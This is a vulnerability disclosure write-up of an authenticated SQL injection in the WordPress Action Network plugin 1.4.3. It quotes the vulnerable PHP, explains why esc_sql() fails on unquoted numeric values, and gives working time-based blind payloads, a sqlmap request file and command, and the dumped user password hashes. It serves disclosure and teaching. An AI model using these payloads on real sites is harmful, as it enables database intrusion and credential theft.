Wordpress Action Network 1.4.3 Authenticated SQL Injection (0-Day)
I have participated in the INE PipelinePlunge CTF challenge, and as a part of the challenge, a WordPress source code was given along with many plugins installed. Although it may not be a part of the competition. I have briefly reviewed the plugin source code files and accidentally found an interesting SQL Injection vulnerability in the latest version of Wordpress Action Network (https://wordpress.org/plugins/wp-action-network/) with an active installation of 600 at the time of discovery.
Consider the PHP code below.
File: /wp-content/plugins/wp-action-network/includes/actionnetwork-action-list.class.php
function process_bulk_action() {
global $wpdb;
if( 'delete'===$this->current_action() ) {
$delete_wp_ids = esc_sql( $_REQUEST['bulk-action'] );
$deleted_actions = 0;
$cannot_delete_synced_actions = 0;
foreach ( $delete_wp_ids as $wp_id ) {
if ($wpdb->get_var("SELECT COUNT(*) FROM `{$wpdb->prefix}actionnetwork` WHERE an_id='' AND wp_id=$wp_id")) {
self::delete_action( $wp_id );
[...]
if( 'unhide'===$this->current_action() ) {
$unhide_wp_ids = esc_sql( $_REQUEST['bulk-action'] );
$cannot_unhide_synced_disabled_actions = 0;
$unhidden_actions = 0;
foreach ( $unhide_wp_ids as $wp_id ) {
if ($wpdb->get_var("SELECT COUNT(*) FROM `{$wpdb->prefix}actionnetwork` WHERE an_id != '' AND enabled=0 AND wp_id=$wp_id")) {
$cannot_unhide_synced_disabled_actions++;
It can be noticed that the user-controllable input was supplied from the HTTP parameter ‘bulk-action
’.
However, the WordPress Action Network plugin developer did a good job here by calling the esc_sql()
function before passing the user input into the SQL query later on.
As a penetration tester, I do not trust user-made functions easily. I went deeply into the esc_sql()
function to see what does it do?
URL: https://developer.wordpress.org/reference/functions/esc_sql/
The document clearly states, “It will only escape values to be used in strings in the query. … As such, this function does not escape unquoted numeric values, field names, or SQL keywords.
”.
As a result, we can see in the SQL statements above that the user inputs are not placed inside a pair of quotes. Instead, it acts as unquoted numeric values, which are not secured by the esc_sql()
function.
“SELECT COUNT(*) FROM `{$wpdb->prefix}actionnetwork` WHERE an_id='' AND wp_id=$wp_id
”
“SELECT COUNT(*) FROM `{$wpdb->prefix}actionnetwork` WHERE an_id != '' AND enabled=0 AND wp_id=$wp_id
”
I followed the inner functions of the outer esc_sql()
function.
File: wp-includes/formatting.php
function esc_sql( $data ) {
global $wpdb;
return $wpdb->_escape( $data );
}
URL: https://developer.wordpress.org/reference/classes/wpdb/_escape/
File: wp-includes/class-wpdb.php
public function _escape( $data ) {
if ( is_array( $data ) ) {
foreach ( $data as $k => $v ) {
if ( is_array( $v ) ) {
$data[ $k ] = $this->_escape( $v );
} else {
$data[ $k ] = $this->_real_escape( $v );
And I finally ended up at the _real_escape()
function here.
URL: https://developer.wordpress.org/reference/classes/wpdb/_real_escape/
File: wp-includes/class-wpdb.php
public function _real_escape( $data ) {
if ( $this->dbh ) {
$escaped = mysqli_real_escape_string( $this->dbh, $data );
[…]
$escaped = addslashes( $data );
It seems that these functions (addslashes
and mysqli_real_escape_string
) do nothing but only add a freaking slash in front of any quote.
Consequently, it is known to the public that attackers can perform time-based SQL injection exploitation techniques without a quote using attack payloads like the one below to extract sensitive information from the database.
1 AND (SELECT 8861 FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(user_pass AS NCHAR),0x20) FROM wordpress.wp_users ORDER BY user_pass LIMIT 1,1),34,1))>49,0,1)))))cYup)
1 AND (SELECT 8861 FROM (SELECT(SLEEP(1-(IF(ORD(MID((SELECT IFNULL(CAST(user_pass AS NCHAR),0x20) FROM wordpress.wp_users ORDER BY user_pass LIMIT 1,1),34,1))!=49,0,1)))))cYup)
With the use of the notorious SQLMap tool, we did a simple proof of concept attack as follows.
1 — Prepare an HTTP request file and an asterisk (*) masked at the HTTP parameter bulk-action
.
File: actionnetwork_sqli.txt
GET /wp-admin/admin.php?page=actionnetwork&search=&_wpnonce=d460f252e4&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dactionnetwork%26search%26_wpnonce%3Dd460f252e4%26type%26show_hidden%3D1%26filter_action%3DFilter%26paged%3D1&action=unhide&type=&show_hidden=1&paged=1&bulk-action%5B%5D=1*&action2=unhide HTTP/1.1
Host: longcat.local:8077
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Referer: http://longcat.local:8077/wp-admin/admin.php?page=actionnetwork&search&_wpnonce=d460f252e4&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dactionnetwork%26search%26_wpnonce%3Dd460f252e4%26action%3Dhide%26type%26paged%3D1%26bulk-action%255B0%255D%3D1%26action2%3Dhide&type&show_hidden=1&filter_action=Filter&paged=1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,th;q=0.8,ja;q=0.7,zh-CN;q=0.6,zh;q=0.5
Cookie: wordpress_abbf810247fdd5ef5de9615047d4961f=admin%7C1710423092%7CxZO60LWTZIhzoDC5ZDfaEPbnMlgYaslks3KBaIr2QR1%7Cdad489ca70744090f3e2c00081126d204e24a6b5f833fb6c7d8fd17ec8f5acb6; language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=OYkQVNDKna3641OMErXwez2AOBtgf37uZRhP80RZxPpvoJWyB5b8lgqj7m9L; PHPSESSID=6supnl2lsjjs9va37klf3trutn; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_abbf810247fdd5ef5de9615047d4961f=admin%7C1710423092%7CxZO60LWTZIhzoDC5ZDfaEPbnMlgYaslks3KBaIr2QR1%7C18ef628d3ce114e3dac60954cf3dbe94bf09e93df15ce47a97d70044006e79c4; wp-settings-time-1=1710250513
Connection: close
2 — Perform script-kiddy-alike SQLMap attack!
sqlmap -r actionnetwork_sqli.txt --dbms mysql --batch -T wp_users -C user_email,user_login,user_pass --dump
[...]
---
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://longcat.local:8077/wp-admin/admin.php?page=actionnetwork&search=&_wpnonce=d460f252e4&_wp_http_referer=/wp-admin/admin.php?page=actionnetwork%26search%26_wpnonce=d460f252e4%26type%26show_hidden=1%26filter_action=Filter%26paged=1&action=unhide&type=&show_hidden=1&paged=1&bulk-action[]=1 AND (SELECT 9285 FROM (SELECT(SLEEP(5)))LoRh)&action2=unhide
---
[...]
Database: wordpress
Table: wp_users
[2 entries]
+-------------------+------------+------------------------------------+
| user_email | user_login | user_pass |
+-------------------+------------+------------------------------------+
| sth@example.com | sth | $P$BCy.zQhRO3iV6fKX3p3RzqHFYaZ9fL1 |
| admin@example.com | admin | $P$Bzrtt2XLZ.ygUNEotScOAAcQLFsrIU1 |
+-------------------+------------+------------------------------------+
The SQL Injection attack was conducted successfully to read CMS user passwords.
The risk of this vulnerability is relatively very low. This is because the administrator's credentials are required to conduct the attack.
Lesson learned from this story: Do not trust someone else’s sanitization function easily, like esc_sql()
. Instead, verify them with STH security experts.
For business inquiries, please contact:
Email: pentest@sth.sh
LINE: @siamthanathack